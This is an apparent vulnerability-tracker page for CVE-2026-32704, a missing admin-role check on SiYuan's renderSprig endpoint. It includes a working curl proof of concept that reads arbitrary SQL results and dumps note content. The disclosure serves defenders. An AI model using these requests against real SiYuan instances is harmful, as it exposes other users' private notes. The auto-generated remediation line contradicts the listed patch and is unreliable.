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Docker CVE-2026-32704

| EUVDEUVD-2026-12146 MEDIUM
Improper Authorization (CWE-285)
2026-03-13 https://github.com/siyuan-note/siyuan GHSA-4j3x-hhg2-fm2x
6.5
CVSS 3.1 · GitHub Advisory
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Severity by source

GitHub Advisory PRIMARY
6.5 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
SUSE
MEDIUM
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

5
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
PoC Detected
Mar 17, 2026 - 19:02 vuln.today
Public exploit code
EUVD ID Assigned
Mar 13, 2026 - 21:01 euvd
EUVD-2026-12146
Analysis Generated
Mar 13, 2026 - 21:01 vuln.today
CVE Published
Mar 13, 2026 - 20:56 nvd
MEDIUM 6.5

DescriptionGitHub Advisory

Summary

POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.

Details

File: kernel/api/router.go

Every sensitive endpoint in the codebase uses model.CheckAuth + model.CheckAdminRole, but renderSprig only has CheckAuth:

go
//  Missing CheckAdminRole
ginServer.Handle("POST", "/api/template/renderSprig",
    model.CheckAuth, renderSprig)

//  Correct pattern used by all other data endpoints
ginServer.Handle("POST", "/api/template/render",
    model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)

renderSprig calls model.RenderGoTemplate (kernel/model/template.go) which registers SQL functions from kernel/sql/database.go:

go
(*templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) {
    ret, _ = Query(stmt, 1024)  // executes raw SELECT, no role check
    return
}

Any authenticated user - including Publish Service Reader role accounts - can call this endpoint and execute arbitrary SELECT queries.

PoC

Environment:

bash
docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

bash
# Step 1: Login and retrieve API token
curl -s -X POST http://localhost:6806/api/system/loginAuth \
  -H "Content-Type: application/json" \
  -d '{"authCode":"test123"}' -c /tmp/siy.cookie

sleep 15
# wait for boot

TOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \
  -b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])")
# Step 2: Execute SQL as non-admin user
curl -s -X POST http://localhost:6806/api/template/renderSprig \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"template":"{{querySQL \"SELECT count(*) as n FROM blocks\" | toJson}}"}'

Confirmed response on v3.6.0:

json
{"code":0,"msg":"","data":"[{\"n\":0}]"}

Full note dump:

bash
curl -s -X POST http://localhost:6806/api/template/renderSprig \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'

Impact

Any authenticated user (API token holder, Publish Service Reader) can:

  • Dump all note content and document hierarchy from the workspace
  • Exfiltrate tags, custom attributes, block IDs, and timestamps
  • Search notes for stored passwords, API keys, or personal data
  • Enumerate all notebooks and their structure

This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.

AnalysisAI

CVE-2026-32704 is a security vulnerability (CVSS 6.5). Risk factors: public PoC available.

Technical ContextAI

CWE-285 (Improper Authorization).

RemediationAI

Monitor vendor channels for patch availability.

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Vendor StatusVendor

SUSE

Severity: Medium
Product Status
openSUSE Leap 15.6 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP5 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP6 Fixed
openSUSE Leap 15.5 Fixed

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CVE-2026-32704 vulnerability details – vuln.today

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